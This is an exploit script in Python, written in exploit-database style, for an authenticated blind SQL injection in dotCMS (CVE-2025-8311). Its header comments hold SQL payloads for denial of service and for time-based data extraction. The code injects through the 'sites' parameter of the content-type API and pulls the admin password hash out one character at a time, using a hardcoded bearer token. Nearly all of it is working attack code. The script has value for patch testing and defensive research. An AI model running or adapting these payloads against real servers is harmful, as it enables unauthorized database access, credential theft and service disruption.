#!/usr/bin/env python3 # Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection # Google Dork: N/A # Date: 2025-09-09 # Exploit Author: Matan Sandori (OSCP, OSEP, OSWE) # Vendor Homepage:*https://www.dotcms.com/ # Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1) # Version: Affects 24.03.22 and later (see vendor advisory for fixed versions) # Tested on: dotCMS v25.07.02-1 (Docker / Linux) # CVE: CVE-2025-8311 # The application blocks the comma character, so a simple DoS payload like: # ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh # will not work. # Instead, a comma-free payload can be used, for example: # ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A # Example query for time-based extraction of data: # ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1 # This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction. # Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise. import sys import time import string import urllib3 import requests ### User configuration HOST="127.0.0.1:8443"; TARGET_ACCOUNT = "admin@dotcms.com"; SLEEP_TIME=10; TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI"; CHARS = string.printable; urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning); def encode_all_characters(string): return "".join("%{0:0>2x}".format(ord(char)) for char in string); def send_request(payload=""): payload = encode_all_characters(payload); burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}"; burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"}; return requests.get(burp0_url, headers=burp0_headers, verify=False); def send_sqli(q): query = "') AND 1=(" + q + ") AND ('A' LIKE 'A"; return send_request(query); def test_sqli(): print("[!] Checking target responsiveness...") r = send_request(); if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text: print("[-] Target did NOT return the expected JSON structure. Exiting."); sys.exit(1); print("[+] Target responded correctly.\n"); r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})"); if (not r.elapsed.total_seconds() >= SLEEP_TIME): print("[-] Target did not pause as expected; Exiting."); sys.exit(1); def retrieve_password(TEMPLATE, CHARS): CHARS = ":" + CHARS.replace(":", ''); output = ""; index = 1; while True: for character in CHARS: query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character))); r = send_sqli(query); if (r.elapsed.total_seconds() >= SLEEP_TIME): print(f"[+] Found character: {character}"); index += 1; output += character; break; else: break; return output; test_sqli(); print("[+] Target is Vulnerable to SQL Injection.\n"); TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'"; password = retrieve_password(TEMPLATE, CHARS); print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");